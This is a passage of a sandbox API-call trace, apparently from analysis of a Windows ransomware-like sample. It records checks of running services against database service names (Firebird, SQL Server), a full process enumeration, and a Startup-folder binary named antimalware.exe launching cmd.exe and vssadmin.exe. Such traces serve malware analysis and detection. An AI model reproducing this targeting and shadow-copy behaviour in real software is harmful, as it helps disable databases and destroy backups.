	[0153.209] lstrlenW (lpString="PlugPlay") returned 8
	[0153.209] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1
	[0153.209] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1
	[0153.209] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1
	[0153.209] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1
	[0153.209] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1
	[0153.209] lstrlenW (lpString="Power") returned 5
	[0153.209] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1
	[0153.209] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1
	[0153.209] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1
	[0153.210] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1
	[0153.210] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1
	[0153.210] lstrlenW (lpString="ProfSvc") returned 7
	[0153.210] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1
	[0153.210] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1
	[0153.210] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1
	[0153.210] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1
	[0153.210] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1
	[0153.210] lstrlenW (lpString="RpcEptMapper") returned 12
	[0153.210] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0153.210] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0153.210] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1
	[0153.210] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1
	[0153.210] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1
	[0153.210] lstrlenW (lpString="RpcSs") returned 5
	[0153.210] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1
	[0153.210] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1
	[0153.210] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1
	[0153.210] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1
	[0153.210] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1
	[0153.210] lstrlenW (lpString="SamSs") returned 5
	[0153.210] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1
	[0153.210] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1
	[0153.210] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1
	[0153.210] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1
	[0153.211] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1
	[0153.211] lstrlenW (lpString="Schedule") returned 8
	[0153.211] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1
	[0153.211] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1
	[0153.211] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1
	[0153.211] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1
	[0153.211] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1
	[0153.211] lstrlenW (lpString="SecurityHealthService") returned 21
	[0153.211] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0153.211] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0153.211] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1
	[0153.211] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1
	[0153.211] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1
	[0153.211] lstrlenW (lpString="SENS") returned 4
	[0153.211] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1
	[0153.211] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1
	[0153.211] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1
	[0153.211] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1
	[0153.211] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1
	[0153.211] lstrlenW (lpString="ShellHWDetection") returned 16
	[0153.211] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0153.211] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0153.211] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1
	[0153.211] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1
	[0153.211] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1
	[0153.211] lstrlenW (lpString="Spooler") returned 7
	[0153.212] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1
	[0153.212] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1
	[0153.212] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1
	[0153.212] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1
	[0153.212] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1
	[0153.212] lstrlenW (lpString="StateRepository") returned 15
	[0153.212] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1
	[0153.212] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1
	[0153.212] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1
	[0153.212] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1
	[0153.212] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1
	[0153.408] lstrlenW (lpString="SysMain") returned 7
	[0153.408] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1
	[0153.408] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1
	[0153.408] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1
	[0153.408] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1
	[0153.408] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1
	[0153.408] lstrlenW (lpString="SystemEventsBroker") returned 18
	[0153.408] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1
	[0153.408] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1
	[0153.408] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1
	[0153.408] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1
	[0153.408] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1
	[0153.408] lstrlenW (lpString="Themes") returned 6
	[0153.408] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1
	[0153.408] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1
	[0153.408] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1
	[0153.408] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1
	[0153.408] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1
	[0153.408] lstrlenW (lpString="tiledatamodelsvc") returned 16
	[0153.408] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="tiledatamodelsvc") returned -1
	[0153.408] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="tiledatamodelsvc") returned -1
	[0153.408] lstrcmpiW (lpString1="sqlwriter", lpString2="tiledatamodelsvc") returned -1
	[0153.409] lstrcmpiW (lpString1="mssqlserver", lpString2="tiledatamodelsvc") returned -1
	[0153.409] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4640fc8 | out: hHeap=0x4f0000) returned 1
	[0153.409] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x540
	[0153.419] Process32FirstW (in: hSnapshot=0x540, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1
	[0153.424] Process32NextW (in: hSnapshot=0x540, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6e, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1
	[0153.427] lstrlenW (lpString="System") returned 6
	[0153.427] Process32NextW (in: hSnapshot=0x540, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1
	[0153.428] lstrlenW (lpString="smss.exe") returned 8
	[0153.428] Process32NextW (in: hSnapshot=0x540, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x198, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0153.429] lstrlenW (lpString="csrss.exe") returned 9
	[0153.429] Process32NextW (in: hSnapshot=0x540, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1
	[0153.430] lstrlenW (lpString="wininit.exe") returned 11
	[0153.430] Process32NextW (in: hSnapshot=0x540, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0153.431] lstrlenW (lpString="csrss.exe") returned 9
	[0153.431] Process32NextW (in: hSnapshot=0x540, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x230, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1
	[0153.432] lstrlenW (lpString="winlogon.exe") returned 12
	[0153.432] Process32NextW (in: hSnapshot=0x540, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x24c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1
	[0153.433] lstrlenW (lpString="services.exe") returned 12
	[0153.433] Process32NextW (in: hSnapshot=0x540, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1
	[0153.434] lstrlenW (lpString="lsass.exe") returned 9
	[0153.434] Process32NextW (in: hSnapshot=0x540, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x230, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0153.435] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0153.435] Process32NextW (in: hSnapshot=0x540, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0153.436] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0153.436] Process32NextW (in: hSnapshot=0x540, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0153.437] lstrlenW (lpString="svchost.exe") returned 11
	[0153.437] Process32NextW (in: hSnapshot=0x540, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x310, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0153.438] lstrlenW (lpString="svchost.exe") returned 11
	[0153.438] Process32NextW (in: hSnapshot=0x540, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x38c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x230, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1
	[0153.439] lstrlenW (lpString="dwm.exe") returned 7
	[0153.439] Process32NextW (in: hSnapshot=0x540, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0153.440] lstrlenW (lpString="svchost.exe") returned 11
	[0153.440] Process32NextW (in: hSnapshot=0x540, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0153.441] lstrlenW (lpString="svchost.exe") returned 11
	[0153.441] Process32NextW (in: hSnapshot=0x540, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0153.442] lstrlenW (lpString="svchost.exe") returned 11
	[0153.442] Process32NextW (in: hSnapshot=0x540, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x190, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x39, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0153.443] lstrlenW (lpString="svchost.exe") returned 11
	[0153.443] Process32NextW (in: hSnapshot=0x540, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x22, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0153.444] lstrlenW (lpString="svchost.exe") returned 11
	[0153.444] Process32NextW (in: hSnapshot=0x540, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x41c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0153.445] lstrlenW (lpString="svchost.exe") returned 11
	[0153.445] Process32NextW (in: hSnapshot=0x540, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x504, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0153.446] lstrlenW (lpString="svchost.exe") returned 11
	[0153.446] Process32NextW (in: hSnapshot=0x540, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x534, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0153.687] lstrlenW (lpString="svchost.exe") returned 11
	[0153.687] Process32NextW (in: hSnapshot=0x540, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x548, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0153.688] lstrlenW (lpString="svchost.exe") returned 11
	[0153.688] Process32NextW (in: hSnapshot=0x540, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x568, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0153.689] lstrlenW (lpString="svchost.exe") returned 11
	[0153.689] Process32NextW (in: hSnapshot=0x540, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1
	[0153.690] lstrlenW (lpString="spoolsv.exe") returned 11
	[0153.690] Process32NextW (in: hSnapshot=0x540, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x630, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0153.691] lstrlenW (lpString="svchost.exe") returned 11
	[0153.691] Process32NextW (in: hSnapshot=0x540, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x65c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x504, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1
	[0153.692] lstrlenW (lpString="audiodg.exe") returned 11
	[0153.692] Process32NextW (in: hSnapshot=0x540, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x710, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1
	[0153.693] lstrlenW (lpString="OfficeClickToRun.exe") returned 20
	[0153.693] Process32NextW (in: hSnapshot=0x540, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x73c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1
	[0153.694] lstrlenW (lpString="SecurityHealthService.exe") returned 25
	[0153.694] Process32NextW (in: hSnapshot=0x540, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x778, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x190, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1
	[0153.695] lstrlenW (lpString="sihost.exe") returned 10
	[0153.695] Process32NextW (in: hSnapshot=0x540, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x794, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1
	[0153.696] lstrlenW (lpString="Memory Compression") returned 18
	[0153.696] Process32NextW (in: hSnapshot=0x540, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0153.697] lstrlenW (lpString="svchost.exe") returned 11
	[0153.697] Process32NextW (in: hSnapshot=0x540, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x190, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0153.698] lstrlenW (lpString="taskhostw.exe") returned 13
	[0153.698] Process32NextW (in: hSnapshot=0x540, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x190, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1
	[0153.698] lstrlenW (lpString="msoia.exe") returned 9
	[0153.699] Process32NextW (in: hSnapshot=0x540, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x904, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x190, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0153.699] lstrlenW (lpString="taskhostw.exe") returned 13
	[0153.699] Process32NextW (in: hSnapshot=0x540, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3b, th32ParentProcessID=0x9a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1
	[0153.700] lstrlenW (lpString="explorer.exe") returned 12
	[0153.700] Process32NextW (in: hSnapshot=0x540, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1
	[0153.701] lstrlenW (lpString="SearchUI.exe") returned 12
	[0153.701] Process32NextW (in: hSnapshot=0x540, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1
	[0153.702] lstrlenW (lpString="ShellExperienceHost.exe") returned 23
	[0153.702] Process32NextW (in: hSnapshot=0x540, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbf8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1
	[0153.703] lstrlenW (lpString="RuntimeBroker.exe") returned 17
	[0153.703] Process32NextW (in: hSnapshot=0x540, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1
	[0153.704] lstrlenW (lpString="WmiPrvSE.exe") returned 12
	[0153.704] Process32NextW (in: hSnapshot=0x540, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x9b8, pcPriClassBase=8, dwFlags=0x0, szExeFile="cusersmasterappdataroamingmicrosoftwindowsstart menuprogramsstartupantimalware.exe")) returned 1
	[0153.705] lstrlenW (lpString="cusersmasterappdataroamingmicrosoftwindowsstart menuprogramsstartupantimalware.exe") returned 82
	[0153.705] Process32NextW (in: hSnapshot=0x540, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdf8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xdd4, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1
	[0153.706] lstrlenW (lpString="cmd.exe") returned 7
	[0153.706] Process32NextW (in: hSnapshot=0x540, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xdf8, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0153.707] lstrlenW (lpString="conhost.exe") returned 11
	[0153.707] Process32NextW (in: hSnapshot=0x540, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xea0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x190, pcPriClassBase=8, dwFlags=0x0, szExeFile="consent.exe")) returned 1
	[0153.708] lstrlenW (lpString="consent.exe") returned 11
	[0153.708] Process32NextW (in: hSnapshot=0x540, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xeac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xdf8, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1
	[0153.709] lstrlenW (lpString="vssadmin.exe") returned 12
	[0153.709] Process32NextW (in: hSnapshot=0x540, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xeac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xdf8, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 0
	[0153.710] CloseHandle (hObject=0x540) returned 1
	[0153.710] Sleep (dwMilliseconds=0x1f4) 
	[0154.446] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x45b0278
	[0154.543] EnumServicesStatusExW (in: hSCManager=0x45b0278, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x263ff3c, lpServicesReturned=0x263ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x263ff3c, lpServicesReturned=0x263ff54, lpResumeHandle=0x0) returned 0
	[0154.543] GetLastError () returned 0xea
	[0154.543] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x1bc4) returned 0x4640fc8
	[0154.544] EnumServicesStatusExW (in: hSCManager=0x45b0278, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x4640fc8, cbBufSize=0x1bc4, pcbBytesNeeded=0x263ff3c, lpServicesReturned=0x263ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x4640fc8, pcbBytesNeeded=0x263ff3c, lpServicesReturned=0x263ff54, lpResumeHandle=0x0) returned 1
	[0154.545] CloseServiceHandle (hSCObject=0x45b0278) returned 1
	[0154.545] lstrlenW (lpString="Appinfo") returned 7
	[0154.545] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1
	[0154.545] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1
	[0154.545] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1
